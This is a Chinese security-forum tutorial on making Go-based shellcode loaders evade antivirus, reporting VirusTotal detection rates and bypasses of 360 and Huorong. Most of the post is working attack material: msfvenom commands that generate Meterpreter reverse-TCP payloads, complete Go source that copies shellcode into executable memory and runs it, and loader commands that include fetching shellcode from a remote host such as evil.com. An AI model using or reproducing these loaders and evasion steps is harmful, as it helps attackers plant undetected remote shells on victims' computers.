安全矩阵

 找回密码
 立即注册
搜索
查看: 4278|回复: 0

远控免杀专题(32)-Go加载shellcode免杀-3种方式(VT免杀率7-70)

[复制链接]

98

主题

207

帖子

955

积分

高级会员

Rank: 4

积分
955
发表于 2020-3-8 17:33:59 | 显示全部楼层 |阅读模式
本帖最后由 wholesome 于 2020-3-8 17:45 编辑

本文目录概览:​​​​​​​
  1. 1 GO加载shellcode介绍
  2. 2 Go嵌入shellcode(VT查杀率3/71)
  3. 3 Go加载器
  4.     3.1 go-shellcode加载器(VT查杀率4/69)
  5.     3.2 gsl加载器(VT查杀率6/71)
  6. 4 参考资料
复制代码
免杀能力一览表
几点说明:
1、上表中标识 √ 说明相应杀毒软件未检测出病毒,也就是代表了Bypass。
2、为了更好的对比效果,大部分测试payload均使用msf的windows/meterperter/reverse_tcp模块生成。
3、由于本机测试时只是安装了360全家桶和火绒,所以默认情况下360和火绒杀毒情况指的是静态+动态查杀。360杀毒版本5.0.0.8160(2020.01.01),火绒版本5.0.34.16(2020.01.01),360安全卫士12.0.0.2002(2020.01.01)。
4、其他杀软的检测指标是在virustotal.com(简称VT)上在线查杀,所以可能只是代表了静态查杀能力,数据仅供参考,不足以作为免杀或杀软查杀能力的判断指标。
5、完全不必要苛求一种免杀技术能bypass所有杀软,这样的技术肯定是有的,只是没被公开,一旦公开第二天就能被杀了,其实我们只要能bypass目标主机上的杀软就足够了。
文章打包下载及相关软件下载:https://github.com/TideSec/BypassAntiVirus,对免杀感兴趣的小伙伴可以微信关注"Tide安全团队"公众号,公众号回复“免杀”可下载所有资料。

1 GO加载shellcode介绍

用Golang做免杀的不是很多,不过也有一些go写的免杀工具,比如专题21里介绍的HERCULES就是把利用go来嵌入shellcode然后编译exe,还有veil、Avoidz都可以生成基于go语言的shellcode,而且免杀效果还不错。
唯一不足的是go编译出来的exe大约2.3M左右,使用upx压缩下大约1.5M,不过相比python编译的exe应该还能接受了,免杀效果还比python-exe要好一些。
Golang也可以分两种方式,一种是将shellcode嵌入go代码然后编译exe,一种是使用go加载器。
2 Go嵌入shellcode(VT查杀率3/71)

Go中嵌入shellcode的方法不大多,只找到了两种代码,相比python要少很多,也可能是因为毕竟少的缘故,所以免杀效果还是比较好的。
先用msfvenom生成C语言的shellcode,注意要生成x64的。
  1. msfvenom -p  windows/x64/meterpreter/reverse_tcp  lhost=10.211.55.2 lport=3333 -f c
复制代码
将shellcode转换一下,变成下面的格式
将转换后的shellcode替换到下面的shellcode_buf位置,文件保存为shell.go​​​​​​​

  1. package main

  2. import (
  3.     "io/ioutil"
  4.     "os"
  5.     "syscall"
  6.     "unsafe"
  7. )

  8. const (
  9.     MEM_COMMIT             = 0x1000
  10.     MEM_RESERVE            = 0x2000
  11.     PAGE_EXECUTE_READWRITE = 0x40
  12. )

  13. var (
  14.     kernel32       = syscall.MustLoadDLL("kernel32.dll")
  15.     ntdll          = syscall.MustLoadDLL("ntdll.dll")
  16.     VirtualAlloc   = kernel32.MustFindProc("VirtualAlloc")
  17.     RtlCopyMemory  = ntdll.MustFindProc("RtlCopyMemory")
  18.     shellcode_buf = []byte{
  19.         0xfc, 0x48,  ----shellcode----, 0xd5,
  20.     }
  21. )

  22. func checkErr(err error) {
  23.     if err != nil {
  24.         if err.Error() != "The operation completed successfully." {
  25.             println(err.Error())
  26.             os.Exit(1)
  27.         }
  28.     }
  29. }

  30. func main() {
  31.     shellcode := shellcode_buf
  32.     if len(os.Args) > 1 {
  33.         shellcodeFileData, err := ioutil.ReadFile(os.Args[1])
  34.         checkErr(err)
  35.         shellcode = shellcodeFileData
  36.     }

  37.     addr, _, err := VirtualAlloc.Call(0, uintptr(len(shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
  38.     if addr == 0 {
  39.         checkErr(err)
  40.     }
  41.     _, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
  42.     checkErr(err)
  43.     syscall.Syscall(addr, 0, 0, 0, 0)
  44. }
复制代码
在命令行执行命令go build,编译生成test.exe,在测试机执行。不过大约两分钟后,360安全大脑提示云查杀报警了。
msf中监听windows/x64/meterpreter/reverse_tcp,可上线
virustotal.com上查杀率为3/71
image(3).png
在网上还找到另外一个代码,不过执行和编译老出错,有兴趣的可以试一下,代码如下。
  1. package main

  2. import "C"
  3. import "unsafe"

  4. func main() {
  5.     buf := ""
  6.     buf += "xddxc6xd9x74x24xf4x5fx33xc9xb8xb3x5ex2c"
  7.     ...省略...
  8.     buf += "xc9xb1x97x31x47x1ax03x47x1ax83xc7x04xe2"
  9.     // at your call site, you can send the shellcode directly to the C
  10.     // function by converting it to a pointer of the correct type.
  11.     shellcode := []byte(buf)
  12.     C.call((*C.char)(unsafe.Pointer(&shellcode[0])))
  13. }
复制代码
3 Go加载器

3.1 go-shellcode加载器(VT查杀率4/69)
下载后,进入go-shellcode\cmd\sc目录,执行go build
生成sc.exe
然后用Msfvenom生成hex格式的shellcode
msfvenom -p windows/x64/meterpreter/reverse_tcp -f hex -o shell.hex LHOST=10.211.55.2 LPORT=3333
使用sc加载器进行加载
  1. sc.exe shellcode
复制代码
静态和动态都可过360和火绒
msf中可上线
virustotal.com上sc.exe查杀率为4/69
3.2 gsl加载器(VT查杀率6/71)
gsl是Jayl1n根据go-shellcode进行了修改完善的工具。
里面包含两个版本,x86和x64。
提供了三种加载方式
1、从参数传入 (必须是HEX格式)
  1. gsl -s SHELLCODE -hex
复制代码
2、从文件传入
加载 RAW 格式:gsl -f shell.raw
加载 HEX 格式:gsl -f shell.hex -hex
3、从远程服务器加载
把 SHELLCODE 文件挂在WEB目录下。(支持HTTP/HTTPS)
加载 HEX 格式:gsl -u [http://evil.com/shell.hex](http://evil.com/shell.hex) -hex
以x64为例进行测试,先生成x64的shellcode
  1. msfvenom -p windows/x64/meterpreter/reverse_tcp  LHOST=10.211.55.2 LPORT=3333 -f hex -o shell.hex<img width="15" _height="15" src="data:image/gif;base64,R0lGODlhAQABAPABAP///wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw==" border="0" alt="">
复制代码
我就试一下远程加载gsl64.exe -u [http://10.211.55.2/shell.hex](http://10.211.55.2/shell.hex) -hex
msf中可上线
virustotal.com上gsl64.exe查杀率为6/71,因为这个gsl是编译好的,没法自己编译,估计越来越多的杀软都能开始查杀。
4 参考资料



回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-5-20 06:52 , Processed in 0.016353 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表